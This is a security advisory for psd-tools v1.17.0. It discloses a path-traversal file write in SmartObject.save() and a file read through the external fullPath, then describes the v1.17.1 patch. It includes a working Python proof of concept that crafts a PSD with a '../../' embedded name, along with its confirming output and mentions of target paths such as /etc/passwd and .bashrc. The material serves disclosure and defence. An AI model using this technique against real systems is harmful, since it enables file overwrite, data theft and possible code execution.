PYSEC-2026-2969 
# psd-tools: arbitrary file write/read via smart-object path traversal

## Summary

In `psd-tools` (all releases exposing the `SmartObject` API through **v1.17.0**), `SmartObject.save()` writes an embedded smart object to a path taken verbatim from the PSD file. Because that name is attacker-controlled and unsanitised, a tool that extracts embedded objects from an untrusted `.psd` can be made to write attacker-chosen bytes to an attacker-chosen path (absolute or `../`-traversing), outside its intended output directory.

A secondary issue in `SmartObject.open()` for external-kind smart objects allows the attacker-controlled `fullPath` descriptor to be used as an arbitrary file **read** path, enabling exfiltration of the read content to the controlled write destination. Both issues are fixed in **v1.17.1**.

## Details

### Write path — `SmartObject.save()` (primary)

`src/psd_tools/api/smart_object.py:170-179` (tag `v1.17.0`):

```python
def save(self, filename: str | None = None) -> None:
    if filename is None:
        filename = self.filename          # untrusted, straight from the file
    with open(filename, "wb") as f:
        f.write(self.data)                # attacker-controlled bytes
```

`self.filename` comes from the file with no validation — the `filename` property (`:62-67`) returns `self._data.filename`, set by the linked-layer parser at `src/psd_tools/psd/linked_layer.py:100` (`read_unicode_string(fp)`). There is no `basename`, no absolute path rejection, and no `..` filtering; the written contents (`self.data`) are likewise from the file, so the attacker controls both destination and content.

### Read path — `SmartObject.open()` / `.data` for external kind (secondary)

For `kind == "external"`, `save()` read file content via the `data` property, which called `open()` with no `external_dir` constraint. The `fullPath` descriptor embedded in the PSD was then used verbatim as the source path, enabling an attacker-crafted PSD to cause `save(directory="/safe/out")` to read an arbitrary readable file (e.g. `/etc/passwd`) and write its contents to the output directory.

## Proof of concept

Standalone, against the released package (writes only into a fresh temp dir; exit 0 = confirmed). A Docker bundle is available on request.

```bash
pip install psd-tools==1.17.0
python poc.py
```

`poc.py` builds two PSDs from the project's own `placedLayer.psd` fixture (included as `base.psd`), differing **only** in the embedded smart-object name — `control` is a bare basename, `exploit` is `../../PWNED-psd-tools-poc.bin` — then extracts each like a consumer would:

```python
import os, shutil, tempfile
from psd_tools import PSDImage
from psd_tools.constants import Tag

MARKER = b"PSD-TOOLS-POC: arbitrary-file-write payload (attacker-controlled bytes)\n"
NAMES = {"control": "embedded-export.bin", "exploit": "../../PWNED-psd-tools-poc.bin"}

def craft(name, out):
    psd = PSDImage.open(os.path.join(os.path.dirname(__file__), "base.psd"))
    uuid = next(l.smart_object.unique_id for l in psd.descendants()
                if l.kind == "smartobject" and l.smart_object.kind == "data")
    for key in (Tag.LINKED_LAYER1, Tag.LINKED_LAYER2, Tag.LINKED_LAYER3, Tag.LINKED_LAYER_EXTERNAL):
        for item in (psd.tagged_blocks.get_data(key) or []) if key in psd.tagged_blocks else []:
            if item.uuid.strip("\x00") == uuid:
                item.filename, item.data = name, MARKER
    psd.save(out)

def extract(psd_path, outdir, watch):
    psd = PSDImage.open(psd_path)
    before = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    cwd = os.getcwd(); os.chdir(outdir)
    try:
        for l in psd.descendants():
            if l.kind == "smartobject" and l.smart_object.kind == "data":
                l.smart_object.save()
    finally:
        os.chdir(cwd)
    after = {os.path.realpath(os.path.join(d, f)) for d, _, fs in os.walk(watch) for f in fs}
    return sorted(after - before)

def main():
    tmp = tempfile.mkdtemp(prefix="poc_")
    try:
        escaped = {}
        for tag, name in NAMES.items():
            psd = os.path.join(tmp, tag + ".psd"); craft(name, psd)
            so = next(l.smart_object for l in PSDImage.open(psd).descendants()
                      if l.kind == "smartobject" and l.smart_object.kind == "data")
            print(f"[{tag}] parsed embedded name = {so.filename!r}")
            outdir = os.path.join(tmp, tag, "app", "extracted"); os.makedirs(outdir)
            written = extract(psd, outdir, tmp); out = os.path.realpath(outdir)
            esc = [w for w in written if not w.startswith(out + os.sep)]; escaped[tag] = esc
            for w in written:
                print(f"[{tag}] wrote {w}  {chr(39)}OUTSIDE output dir{chr(39) if w in esc else chr(39)}inside output dir{chr(39)}")
        ok = (not escaped["control"] and escaped["exploit"]
              and all(open(w, "rb").read() == MARKER for w in escaped["exploit"]))
        print("\nVERDICT:", "ARBITRARY FILE WRITE CONFIRMED" if ok else "not reproduced")
        return 0 if ok else 1
    finally:
        shutil.rmtree(tmp, ignore_errors=True)

raise SystemExit(main())
```

Output (`psd-tools 1.17.0`):

```
[control] parsed embedded name = 'embedded-export.bin'
[control] wrote .../poc_*/control/app/extracted/embedded-export.bin  inside output dir
[exploit] parsed embedded name = '../../PWNED-psd-tools-poc.bin'
[exploit] wrote .../poc_*/exploit/PWNED-psd-tools-poc.bin  OUTSIDE output dir

VERDICT: ARBITRARY FILE WRITE CONFIRMED
```

An absolute embedded name (e.g. `/home/user/.bashrc`) is honoured the same way.

## Impact

Any application that ingests untrusted PSD/PSB files and extracts their embedded smart objects via `SmartObject.save()` can be coerced into writing attacker-controlled bytes to an attacker-chosen existing directory — no authentication or special configuration required. High integrity impact; can escalate to code execution depending on the target path.

For external-kind smart objects the same call additionally allowed arbitrary file reads, with the read content written to the controlled output directory.

## Severity

**Moderate** for the common case (a library/desktop tool where a user initiates extraction). Higher for a service that auto-extracts smart objects from uploaded PSDs without user interaction.

## Patch

Fixed in **v1.17.1** (PR #657). Changes to `src/psd_tools/api/smart_object.py`:

- **`save()`**: strips directory components from the embedded name via `os.path.basename()`, writes only into a caller-supplied `directory` (defaults to CWD), and verifies the resolved path stays inside that directory via `os.path.realpath()` + `os.path.commonpath()`. A new `external_dir` parameter is propagated to `open()` for external-kind objects to constrain the read source.
- **`open()`**: when `external_dir` is provided, a `fullPath` resolving outside it is silently ignored (falls through to `relPath`); a `relPath` escaping the directory raises `ValueError`.

## Weaknesses

CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) via CWE-73 (External Control of File Name or Path).

## Resources

- Fix PR: https://github.com/psd-tools/psd-tools/pull/657
- Release: https://github.com/psd-tools/psd-tools/releases/tag/v1.17.1
- Affected source (tag `v1.17.0`): `src/psd_tools/api/smart_object.py:170-179`
  (sink), `:62-67` (untrusted `filename`); `src/psd_tools/psd/linked_layer.py:100`
  (source).
- Distinct in class from the published advisories (GHSA-24p2-j2jr-386w —
  compression resource exhaustion; GHSA-22jr-vc7j-g762 — buffer overflow). The
  `save()` write logic is unchanged since the `SmartObject` API was introduced,
  so all releases exposing it are affected.
CVSS v4.0 score: 4.6